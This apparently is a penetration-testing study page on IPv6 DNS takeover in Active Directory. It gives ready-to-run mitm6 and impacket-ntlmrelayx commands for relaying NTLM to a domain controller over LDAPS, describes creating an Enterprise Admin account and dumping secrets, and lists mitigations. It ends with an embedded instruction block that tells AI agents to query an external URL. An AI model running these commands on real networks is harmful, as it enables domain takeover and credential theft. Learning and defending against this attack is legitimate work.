# IPv6 Attacks ## Overview Typically machines on networks run on IPv4, sometimes not even utilizing IPv6 at all but still have it enabled by default. In a network there is usually **nobody** doing DNS for IPv6 We can leverage this by replying to all DHCPv6 messages, giving them a Link-Local address and telling them that we're their default DNS server. **MITM6** paired with **Impacket-ntlmrelayx** using **LDAP relaying,** can allow us to pull a lot of information from the Domain Controller and even create a new user account in the Enterprise Admins group when a Domain Administrator logs into the network. This can allow us to run secretsdump against the Domain Controller. ## IPv6 DNS Takeover ```bash sudo mitm6 -i eth0 -d PNPT.local ``` ```bash impacket-ntlmrelayx -6 -t ldaps://192.168.1.129 -wh evil.PNPT.local -l lootme ``` ## Mitigation * Disable IPv6 * Block inbound and outbound DHCPv6 * Block inbound ICMPv6 * Disable WPAD via Group Policy (WinHttpAutoProxySvc) * Enable LDAP signing * Dont allow delegation for Administrative users --- # Agent Instructions: Querying This Documentation If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question. Perform an HTTP GET request on the current page URL with the `ask` query parameter: ``` GET https://pnpt.adot8.com/active-directory/initial-attack-strategy/ipv6-attacks.md?ask= ``` The question should be specific, self-contained, and written in natural language. The response will contain a direct answer to the question and relevant excerpts and sources from the documentation. Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.